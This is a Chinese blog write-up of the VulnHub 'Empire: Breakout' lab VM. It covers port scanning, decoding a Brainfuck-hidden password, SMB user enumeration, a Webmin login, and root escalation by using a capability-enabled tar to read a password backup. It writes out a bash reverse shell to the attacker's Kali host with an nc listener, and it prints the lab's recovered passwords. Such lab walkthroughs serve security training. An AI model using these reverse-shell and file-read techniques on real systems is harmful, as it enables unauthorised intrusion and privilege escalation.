深圳网站设计 建设首选深圳市作一家设计软件官网
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
文章目录
- 🍬 博主介绍
 - 一、环境搭建:
 - 1、下载靶场环境
 - 2、启动靶场环境
 
- 二、渗透靶场
 - 1、目标:
 - 2、信息收集:查看端口和服务
 - 3、访问80端口发现提示信息得到一个密码
 - 1.访问一下web
 - 2.查看源码发现一段提示
 - 3.翻译解密提示信息
 - 4.brainfuck 语言简介
 
- 4、访问10000和20000端口发现两个登录页
 - 1.访问10000端口
 - 2.访问20000端口
 
- 5、收集有关靶机smb的信息获取到用户名cyber
 - 1.思路
 - 2.收集smb信息
 - 3.Enum4linux介绍
 
- 6、利用获取的用户名和密码成功登录20000端口
 - 7、获取普通用户权限获取第一个flag
 - 8、获取root用户权限获取第一个flag
 - 1.查看当前权限
 - 2.发现tar可进行任意文件读取
 - 3.linux setcap命令的信息
 - 4.发现备份文件.old_pass.bak
 - 5.利用tar读取密码备份文件
 - 6.成功读取root密码
 - 7.发现网页命令行无法执行su命令
 - 8.反弹靶机shell到kali方式解决上述问题
 - 9.使用root密码登录root用户,提权成功
 
- 三、相关资源
 
一、环境搭建:
1、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/empire-breakout,751/
 
下载下来的文件如下

2、启动靶场环境
下载下来是虚拟机压缩文件,直接用Vmvare导入就行。

设置虚拟机名称

导入中

导入完成之后打开后把网络模式设置为NAT模式。
虚拟机开启之后界面如下,我们可以看到虚拟机ip:192.168.233.175

二、渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:
192.168.233.175
 
2、信息收集:查看端口和服务
Nmap扫描靶机查看开启的端口和服务
nmap -sS -p 0-65535 -Pn -O 192.168.233.175
 

发现开放了80端口,存在WEB,
开放了139,445端口,存在SMB共享服务
开启了10000、20000端口,存在Webmin MiniServ服务(Webmin 是功能强大的基于 Web 的 Unix/linux 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理操作。)
3、访问80端口发现提示信息得到一个密码
1.访问一下web
http://192.168.233.175/
 

2.查看源码发现一段提示
<!--don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.-->
 

3.翻译解密提示信息
提示的大概意思就是:
翻译过来时:别担心没有人会来这里,和你分享我的权限是安全的。它是加密的:)
也就是说这段奇奇怪怪的代码是加密文件,我们需要将他进行解密,这应该是密码经过某种加密或者编码形成的,经过一段时间的查找,发现是ook加密,是brainfuck加密方法的一种
我们进行解密:解密工具:https://ctf.bugku.com/tool/brainfuck
解密过后是:
.2uqPEfj3D<P’a-3
 

4.brainfuck 语言简介
brainfuck 语言用 > < + - . , [ ] 八种符号来替换C语言的各种语法和命令,具体规则如下:
Brainfuck 编程语言由八个命令组成,每个命令都表示为一个字符。
> 增加指针。 
< 减少指针。 
+ 增加指针处的字节。 
- 减少指针处的字节。 
. 输出指针处的字节。 
, 输入一个字节并将其存储在指针处的字节中。 
[ 跳过匹配项] 如果指针处的字节为零。 
] 向后跳转到匹配的 [ 除非指针处的字节为零。 
Brainfuck 命令的语义也可以用 C 语言简洁地表达,如下(假设 p 之前已定义为 char*): 
> 变为 ++p; 
< 变成 --p; 
+ 变为 ++*p; 
- 变成 --*p; 
. 变成 putchar(*p); 
, 变成 *p = getchar(); 
[ 变成 while (*p) { 
] 变成 } 
 
4、访问10000和20000端口发现两个登录页
有一种强烈的预感,这是一段密码,先记录下来,接着我们继续查看另外两个网站
10000端口和20000端口是不同的登录系统,一个是登录网站的,一个是登录用户的
1.访问10000端口
https://192.168.233.175:10000/session_login.cgi
 

2.访问20000端口
https://192.168.233.175:20000/
 

5、收集有关靶机smb的信息获取到用户名cyber
1.思路
鉴于我们已经有了用户的密码,所以我们要着手寻找用户名了
由于靶机开放了smb服务,所以我们可以收集有关靶机smb的信息
2.收集smb信息
使用命令enum4linux可以收集大量的信息
enum4linux 192.168.233.175
 

最终发现了一个用户名cyber

3.Enum4linux介绍
Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它试图提供与以前从www.bindview.com可用的enum.exe类似的功能。它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。
用法:
./enum4linux.pl [选项] ip地址枚举选项:-U        获取用户列表-M        获取机器列表*-S        获取共享列表-P        获取密码策略信息-G        获取组和成员列表-d        详述适用于-U和-S-u user   用户指定要使用的用户名(默认"")-p pass   指定要使用的密码(默认为"")以下选项是enum.exe未实现的: -L, -N, -D, -f其他选项:-a        做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项-h        显示此帮助消息并退出-r        通过RID循环枚举用户-R range  RID范围要枚举(默认值:500-550,1000-1050,隐含-r)-K n      继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用-l        通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)-s        文件暴力猜测共享名称-k user   远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)用于获取sid与“lookupsid known_username”使用逗号尝试几个用户:“-k admin,user1,user2”-o        获取操作系统信息-i        获取打印机信息-w wrkg   手动指定工作组(通常自动找到)-n        做一个nmblookup(类似于nbtstat)
-v        详细输出,显示正在运行的完整命令(net,rpcclient等)
 
6、利用获取的用户名和密码成功登录20000端口
由于20000端口是登录用户的,我们拿用户名cyber和之前获得的密码去登录一下20000端口,登陆成功

7、获取普通用户权限获取第一个flag
登录进去摸索了一会儿,发现左下角有一个终端的图标,点进去之后就可以运行命令了

进入命令行,执行ls发现有一个user.txt文件,使用cat查看,得到第一个flag
ls
cat user.txt
 

8、获取root用户权限获取第一个flag
1.查看当前权限
执行whoami发现是用户权限
whoami
 

2.发现tar可进行任意文件读取
通过ls -l查看文件权限,发现tar具有执行权限,猜想他是一个可执行文件
ls -l
 

通过getcap命令查看文件拥有的权限是什么
getcap tar
 
发现cap_dac_read _search=ep,说明他是可以读取任意文件的

3.linux setcap命令的信息
https://blog.csdn.net/megan_free/article/details/100357702\
 
4.发现备份文件.old_pass.bak
既然给了我们一个可进行任意读取的可执行文件,那就肯定是要我们找一个文件来读取,获得root的密码。
经过一段时间的寻找之后,发现/var/backups下有个备份文件.old_pass.bak

5.利用tar读取密码备份文件
我们用tar把它打包之后再解压出来,就没有权限问题了
./tar -cvf pass.tar /var/backups/.old_pass.bak
tar -xvf pass.tar
 
这里打包的时候一定要使用./tar,不然会提示没权限,没有加./代表的是你用的系统安装的tar不是这个目录下的tar,就不一定会有读取任意文件的权限

我们的用户目录下多了两个文件

6.成功读取root密码
cat var/backups/.old_pass.bak
 
得到root密码:
Ts&4&YurgtRX(=~h
 

7.发现网页命令行无法执行su命令
切换到root用户
su root
 
发现这里执行不了su

8.反弹靶机shell到kali方式解决上述问题
反弹shell后
那那那,我干脆反弹一个shell到我的kali吧
Kali监听
nc -lvvp 55555
 

靶机连接
bash -i >& /dev/tcp/192.168.233.130/55555 0>&1
 

攻击机获取到靶机的shell

9.使用root密码登录root用户,提权成功
切换到root用户
su root
 
执行whoami 发现是root权限,提权成功

得到第二个flag
cd /root
cat rOOt.txt
 

三、相关资源
 1、靶场下载地址 
  2、ook在线解密工具 
  3、enum4linux枚举工具 
  4、Brainfuck介绍 
  5、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell 
  6、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell 
